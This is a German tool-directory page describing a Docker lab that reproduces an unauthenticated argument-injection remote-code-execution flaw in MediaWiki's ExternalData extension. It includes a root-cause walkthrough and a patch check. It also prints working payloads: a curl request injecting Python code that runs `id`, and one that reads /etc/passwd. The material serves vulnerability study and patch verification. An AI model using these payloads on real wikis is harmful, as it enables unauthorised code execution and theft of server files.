Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
mediawiki-CVE-2026-100382 — Docker-Lab zur Reproduktion von CVE-2026-100382: unauthentifizierte Argument-Injection-RCE in MediaWiki ExternalData's #get_program_data, mit PoC-Payloads und Patch-Verifikation. | Kitploit
Tools/GitHubGitHub/nth347/mediawiki-cve-2026-100382
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitCommand and ControlLernen & BildungLabs & Praxis
GitHubnth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

Docker-Lab zur Reproduktion von CVE-2026-100382: unauthentifizierte Argument-Injection-RCE in MediaWiki ExternalData's #get_program_data, mit PoC-Payloads und Patch-Verifikation.

Repository anzeigen
3vor 6 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Lab-Reproduktion - CVE-2026-100382 (ExternalData OS-Befehlsinjektion)

Worum es in diesem Lab geht

  • MediaWiki 1.43 (offizielles Image, SQLite) + ExternalData 3.6.1 (letzte verwundbare Version), schreibgeschützt gemountet von ../mediawiki-extensions-ExternalData.
  • Nur Loopback: veröffentlicht auf 127.0.0.1:${HOST_PORT} (Standard 8080).
  • Anonymes Bearbeiten + action=parse sind aktiviert (MediaWiki-Standardeinstellungen) - der PoC benötigt keine Anmeldung.

Ausführen

cd lab
./up.sh        # installiert, lädt ExternalData 3.6.1, legt verwundbare Quellen an, gibt URL aus
./down.sh      # docker compose down -v + .env löschen

Die (realistische) verwundbare Admin-Konfiguration

entrypoint.sh legt eine exec-Quelle an, die dem dokumentierten Zweck von #get_program_data entspricht - ein serverseitiges Programm für Bearbeiter verfügbar zu machen, indem ein Benutzerparameter in die Kommandozeile übergeben wird - ohne einen restriktiven param filters-Eintrag (die Erweiterung erfordert keinen):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // Benutzerparameter interpoliert
    'params'  => [ 'options' ],
    'format'  => 'text',
];

Beabsichtigte Verwendung: {{#get_program_data: program=chart | options=--dpi=120 }} -> führt python3 --dpi=120 /srv/chart.py aus.

Zusammenfassung der Grundursache (warum es ausgelöst wird)

  • EDConnectorBase::supplementParams() interpoliert Benutzerparameter in das wiki-weite command-Template via strtr (EDConnectorBase.php:461-470,560).
  • EDConnectorExe::__construct() führt dann explode(' ', $command) aus (EDConnectorExe.php:92) - der interpolierte Benutzerwert wird an Leerzeichen in separate argv-Token ohne erneutes Quoting aufgeteilt.
  • run() führt Shell::command($command)->execute() aus (EDConnectorExe.php:139). Shell::command() shell-escaped jedes Token, sodass Shell-Metazeichen (;, |) inert sind - dies ist Argument-Injektion (CWE-88 / CWE-78), keine naive Shell- Injektion. Die Kontrolle über zusätzliche argv des Zielprogramms (hier python3 -c) ermöglicht vollständige Codeausführung.
  • Hinweis: Ein Aufrufer kann command nicht direkt angeben - die eingebaute Wildcard-*- Quelle erzwingt command => null, was ein benutzerseitig angegebenes command entfernt. Der Vektor ist daher die Parameterinterpolation in einen admin-definierten Befehl.

Konsolenausgabe (wörtlich)

Umfang: Shell-Metazeichen werden escaped (Argument-Injektion, keine Shell-Injektion)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

Whitespace teilt einen Parameter in mehrere argv-Token auf

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - beliebige Befehlsausführung als Web-Benutzer (UNAUTHENTIFIZIERT)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Beliebiges Dateilesen

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Negativtest gegen den Patch (schließt den Kreis)

Austausch der gemounteten Erweiterung gegen Tag 3.7 und erneutes Ausführen des GLEICHEN Payloads:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

3.7 deaktiviert EDConnectorExe standardmäßig ($wgExternalDataDisabledClasses, Bug T434961). Einschränkung: Der Sink-Code ist unverändert - ein Wiki, das EDConnectorExe aus dieser Liste entfernt, um #get_program_data weiter zu verwenden, bleibt vollständig ausnutzbar.

Tool herunterladen